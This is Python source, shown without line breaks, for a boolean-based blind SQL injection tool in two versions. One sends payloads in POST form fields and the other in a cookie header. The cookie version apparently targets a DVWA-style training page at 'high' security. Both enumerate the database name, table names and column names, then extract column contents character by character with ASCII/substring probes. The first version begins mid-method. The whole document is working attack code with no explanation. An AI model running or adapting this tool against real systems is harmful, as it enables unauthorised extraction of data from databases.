self.s.post(self.url,data=data,headers=self.headers).text if self.check(html): self.database_length = i break if self.database_length > 0: print('\n==>',self.database_length) else: print("\ncan not get the database_length") def get_database(self): self.database = '' for i in range(1,self.database_length+1): for j in self.zifuji: self.process(str(i) + ' get_database',j,self.database_length+1) data = { 'id':"1 and ascii(substring(database(),{0},1))={1}".format(str(i),str(j)), 'Submit':'Submit', } html = self.s.post(self.url,data=data,headers=self.headers).text if self.check(html): self.database += chr(j) break if len(self.database) != i: self.database += '666' if len(self.database) > 0: print('\n==>',self.database) else: print("\n can not get the database") def get_table_num(self): self.table_num = 0 for i in range(1,30): self.process('get_table_num',i,30) data = { 'id':"1 and (select count(table_name)a from information_schema.tables where table_schema=database() having a={0})".format(str(i)), 'Submit':'Submit', } html = self.s.post(self.url,data=data,headers=self.headers).text if self.check(html): self.table_num = i break if self.table_num > 0: print('\n==>',self.table_num) else: print("\ncan not get the table_num") def get_table_length(self): for i in range(1,50): self.process('get_table_length',i,50) data = { 'id':"1 and (select length(group_concat(table_name)) as a from information_schema.tables where table_schema=database() having a={0})".format(str(i)), 'Submit':'Submit', } html = self.s.post(self.url,data=data,headers=self.headers).text if self.check(html): self.table_length.append(i) break if self.table_length[0] > 0: print('\n==>',self.table_length) else: print('\ncan not get the table_length') def get_table_name(self): name = '' for i in range(1,self.table_length[0]+1): for j in self.zifuji: self.process('{0} get_table_name'.format(i),j,50) data = { 'id':"1 and (select ascii(substring(group_concat(table_name),{0},1)) as a from information_schema.tables where table_schema=database() having a={1})".format(str(i),str(j)), 'Submit':'Submit', } html = self.s.post(self.url,data=data,headers=self.headers).text if self.check(html): name += chr(j) break if len(name) != i: name += '|' if len(name) > 0: print('\n==>',name) self.table_name.append(name) else: print('\ncan not get the table_name') def get_column_num(self,table_name): self.column_num = 0 table_name = self.tranhex(table_name) print(table_name) for i in range(1,30): self.process('get_column_num',i,30) data = { 'id':"1 and (select count(column_name) as a from information_schema.columns where table_schema=database() and table_name={0} having a={1})".format(table_name,str(i)), 'Submit':'Submit', } html = self.s.post(self.url,data=data,headers=self.headers).text if self.check(html): self.column_num = i break if self.column_num > 0: print('\n==>',self.column_num) def get_column_length(self,table_name): table_name = self.tranhex(table_name) for i in range(1,100): self.process('get_column_length',i,100) data = { 'id':"1 and (select length(group_concat(column_name)) as a from information_schema.columns where table_schema=database() and table_name={0} having a={1})".format(table_name,str(i)), 'Submit':'Submit', } html = self.s.post(self.url,data=data,headers=self.headers).text if self.check(html): self.column_length.append(i) break if len(self.column_length) >= 1: print('\n==>',self.column_length) else: print('\ncan not get the column_length') def get_column_name(self,table_name): table_name = self.tranhex(table_name) name = '' for i in range(1,self.column_length[0]+1): for j in self.zifuji: self.process('{0} get_column_name'.format(str(i)),j,100) data = { 'id':"1 and (select ascii(substring(group_concat(column_name),{0},1)) as a from information_schema.columns where table_schema=database() and table_name={1} having a={2})".format(str(i),table_name,str(j)), 'Submit':'Submit', } html = self.s.post(self.url,data=data,headers=self.headers).text if self.check(html): name += chr(j) break if len(name) != i: name += '|' if len(name) == self.column_length[0]: self.column_name.append(name) print('\n==>',self.column_name[0]) else: print('\ncan not get the column_name') def get_word_num(self,table_name,column_name): for i in range(1,100): self.process('get_word_num',i,30) data = { 'id':"1 and (select count({0}) as a from {1} having a={2})".format(column_name,table_name,str(i)), 'Submit':'Submit', } html = self.s.post(self.url,data=data,headers=self.headers).text if self.check(html): self.word_num = i break if self.word_num > 0: print('\n==>',self.word_num) else: print('\ncan not get the word_num') def get_word_length(self,table_name,column_name): for i in range(1,200): self.process('get_{0}_length'.format(column_name),i,200) data = { 'id':"1 and (select length(group_concat({0})) as a from {1} having a={2})".format(column_name,table_name,str(i)), 'Submit':'Submit', } html = self.s.post(self.url,data=data,headers=self.headers).text if self.check(html): self.word_length.append(i) break if len(self.word_length) >= 1: print('\n==>',self.word_length) else: print('\ncan not get the word length') def get_word_name(self,table_name,column_name,word_num): name = '' for i in range(1,self.word_length[word_num]+1): for j in self.zifuji: self.process('get_{0}_name'.format(str(i)),j,100) data = { 'id':"1 and (select ascii(substring(group_concat({0}),{1},1)) as a from {2} having a={3})".format(column_name,str(i),table_name,str(j)), 'Submit':'Submit', } html = self.s.post(self.url,data=data,headers=self.headers).text if self.check(html): name += chr(j) break if len(name) != i: name += '|' self.word_name.append(name) print('\n==>',self.word_name[word_num])
import requestsimport stringclass Injection: def __init__(self,url): self.url = url self.s = requests.session() self.zifuji = [44,48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 97, 98, 99, 100, 101, 102, 103, 104, 105, 106, 107, 108, 109, 110, 111, 112, 113, 114, 115, 116, 117, 118, 119, 120, 121, 122, 65, 66, 67, 68, 69, 70, 71, 72, 73, 74, 75, 76, 77, 78, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 90, 95, 45, 64, 33, 38, 36] def get_headers(self,payload): headers = { 'Cookie': "id={0}; security=high; PHPSESSID=ms11imgpftrmfcp27rmk9s006c".format(payload) } return headers def process(self,yourstr,num1,num2): print("[+] Please wait ... {0} [{1}]/[{2}]".format(yourstr,str(num1),str(num2)),end='\r') def check(self,text): if "User ID exists in the database." in text: return True elif "User ID is MISSING from the database." in text: return False def run(self): self.get_itsnum() self.get_database_length() self.get_database() self.get_table_num() self.table_length = [] self.table_name = [] self.get_table_length() self.get_table_name() table_name = input('[-] table_name: ') self.get_column_num(table_name) self.column_length = [] self.column_name = [] self.get_column_length(table_name) self.get_column_name(table_name) column_names = input('[-] column_name: ').split(',') self.word_num = 0 self.get_word_num(table_name,column_names[0]) self.word_name = [] self.word_length = [] for i in range(len(column_names)): print(column_names[i]) self.get_word_length(table_name,column_names[i]) self.get_word_name(table_name,column_names[i],i) def get_itsnum(self): self.itsnum = 0 for i in range(1,50): self.process('get_itsnum',i,50) payload = "1' order by {0}#".format(str(i)) html = self.s.get(self.url,headers=self.get_headers(payload)).text if not self.check(html): self.itsnum = i - 1 break if self.itsnum > 0: print('\n==>',self.itsnum) else: print("\ncan not get the itsnum") def get_database_length(self): self.database_length = 0 for i in range(1,30): self.process('get_database_length',i,30) payload = "1' and length(database())={0}#".format(str(i)) html = self.s.get(self.url,headers=self.get_headers(payload)).text if self.check(html): self.database_length = i break if self.database_length > 0: print('\n==>',self.database_length) else: print("\ncan not get the database_length") def get_database(self): self.database = '' for i in range(1,self.database_length+1): for j in self.zifuji: self.process(str(i) + ' get_database',j,self.database_length+1) payload = "1' and ascii(substring(database(),{0},1))={1}#".format(str(i),str(j)) html = self.s.get(self.url,headers=self.get_headers(payload)).text if self.check(html): self.database += chr(j) break if len(self.database) != i: self.database += '666' if len(self.database) > 0: print('\n==>',self.database) else: print("\n can not get the database") def get_table_num(self): self.table_num = 0 for i in range(1,30): self.process('get_table_num',i,30) payload = "1' and (select count(table_name)a from information_schema.tables where table_schema=database() having a={0})#".format(str(i)) html = self.s.get(self.url,headers=self.get_headers(payload)).text if self.check(html): self.table_num = i break if self.table_num > 0: print('\n==>',self.table_num) else: print("\ncan not get the table_num") def get_table_length(self): for i in range(1,50): self.process('get_table_length',i,50) payload = "1' and (select length(group_concat(table_name)) as a from information_schema.tables where table_schema=database() having a={0})#".format(str(i)) html = self.s.get(self.url,headers=self.get_headers(payload)).text if self.check(html): self.table_length.append(i) break if self.table_length[0] > 0: print('\n==>',self.table_length) else: print('\ncan not get the table_length') def get_table_name(self): name = '' for i in range(1,self.table_length[0]+1): for j in self.zifuji: self.process('{0} get_table_name'.format(i),j,50) payload = "1' and (select ascii(substring(group_concat(table_name),{0},1)) as a from information_schema.tables where table_schema=database() having a={1})#".format(str(i),str(j)) html = self.s.get(self.url,headers=self.get_headers(payload)).text if self.check(html): name += chr(j) break if len(name) != i: name += '|' if len(name) > 0: print('\n==>',name) self.table_name.append(name) else: print('\ncan not get the table_name') def get_column_num(self,table_name): self.column_num = 0 for i in range(1,30): self.process('get_column_num',i,30) payload = "1' and (select count(column_name) as a from information_schema.columns where table_schema=database() and table_name='{0}' having a={1})#".format(table_name,str(i)) html = self.s.get(self.url,headers=self.get_headers(payload)).text if self.check(html): self.column_num = i break if self.column_num > 0: print('\n==>',self.column_num) def get_column_length(self,table_name): for i in range(1,100): self.process('get_column_length',i,100) payload = "1' and (select length(group_concat(column_name)) as a from information_schema.columns where table_schema=database() and table_name='{0}' having a={1})#".format(table_name,str(i)) html = self.s.get(self.url,headers=self.get_headers(payload)).text if self.check(html): self.column_length.append(i) break if len(self.column_length) >= 1: print('\n==>',self.column_length) else: print('\ncan not get the column_length') def get_column_name(self,table_name): name = '' for i in range(1,self.column_length[0]+1): for j in self.zifuji: self.process('{0} get_column_name'.format(str(i)),j,100) payload = "1' and (select ascii(substring(group_concat(column_name),{0},1)) as a from information_schema.columns where table_schema=database() and table_name='{1}' having a={2})#".format(str(i),table_name,str(j)) html = self.s.get(self.url,headers=self.get_headers(payload)).text if self.check(html): name += chr(j) break if len(name) != i: name += '|' if len(name) == self.column_length[0]: self.column_name.append(name) print('\n==>',self.column_name[0]) else: print('\ncan not get the column_name') def get_word_num(self,table_name,column_name): for i in range(1,100): self.process('get_word_num',i,30) payload = "1' and (select count({0}) as a from {1} having a={2})#".format(column_name,table_name,str(i)) html = self.s.get(self.url,headers=self.get_headers(payload)).text if self.check(html): self.word_num = i break if self.word_num > 0: print('\n==>',self.word_num) else: print('\ncan not get the word_num') def get_word_length(self,table_name,column_name): for i in range(1,200): self.process('get_{0}_length'.format(column_name),i,200) payload = "1' and (select length(group_concat({0})) as a from {1} having a={2})#".format(column_name,table_name,str(i)) html = self.s.get(self.url,headers=self.get_headers(payload)).text if self.check(html): self.word_length.append(i) break if len(self.word_length) >= 1: print('\n==>',self.word_length) else: print('\ncan not get the word length') def get_word_name(self,table_name,column_name,word_num): name = '' for i in range(1,self.word_length[word_num]+1): for j in self.zifuji: self.process('get_{0}_name'.format(str(i)),j,100) payload = "1' and (select ascii(substring(group_concat({0}),{1},1)) as a from {2} having a={3})#".format(column_name,str(i),table_name,str(j)) html = self.s.get(self.url,headers=self.get_headers(payload)).text if self.check(html): name += chr(j) break if len(name) != i: name += '|' self.word_name.append(name) print('\n==>',self.word_name[word_num])
]]>